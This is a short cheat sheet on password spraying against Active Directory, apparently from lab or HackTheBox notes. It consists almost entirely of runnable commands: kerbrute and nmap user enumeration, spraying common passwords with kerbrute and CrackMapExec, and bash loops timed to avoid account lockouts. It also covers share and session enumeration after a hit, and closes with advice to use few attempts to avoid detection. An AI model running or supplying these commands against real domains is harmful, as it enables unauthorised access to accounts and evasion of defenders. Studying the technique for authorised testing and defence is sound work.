5.Password Spraying Overview

1. User Enumeration with Kerbrute

# Using a predefined username list
kerbrute userenum --dc <domain-controller> -d <domain> usernames.txt

# Using a generated username list (GUIDs example)
for x in {{A..Z},{0..9}}{{A..Z},{0..9}}{{A..Z},{0..9}}{{A..Z},{0..9}}; do echo $x; done > usernames.txt
nmap -p 88 --script krb5-enum-users --script-args krb5-enum-users.realm=frizz.htb 10.10.11.60

2. Password Spraying with Kerbrute

kerbrute passwordspray --dc <domain-controller> -d <domain> -U usernames.txt -p <common-password>

3. Password Spraying with CrackMapExec (CME)

cme smb <target-ip> -u usernames.txt -p <password> --no-bruteforce

4. Obtaining Password Policy (if internal access is available)

net accounts
Get-ADDefaultDomainPasswordPolicy

5. Delay Consideration Between Sprays (Bash Example)

for password in Welcome1 Passw0rd Winter2022; do
    cme smb <target-ip> -u usernames.txt -p $password --no-bruteforce
    sleep 1800  # Wait 30 minutes to avoid account lockouts
done

6. Handling Large User Lists (Bash Example)

split -l 1000 usernames.txt user_chunk_
for file in user_chunk_*; do
    kerbrute passwordspray --dc <domain-controller> -d <domain> -U $file -p <password>
    sleep 1800
done

7. Post-Spray Enumeration

cme smb <target-ip> -u <username> -p <password> --shares
cme smb <target-ip> -u <username> -p <password> --sessions

8. Automation (Basic Script)

#!/bin/bash
PASSWORDS=(Welcome1 Passw0rd Winter2022)
for password in "${PASSWORDS[@]}"; do
    kerbrute passwordspray --dc <domain-controller> -d <domain> -U usernames.txt -p $password
    sleep 1800
done

Notes:

- Adjust delay times based on password policy.

- Always confirm the password policy before attempting spraying.

- Use minimal attempts to avoid detection and lockouts.

Last updated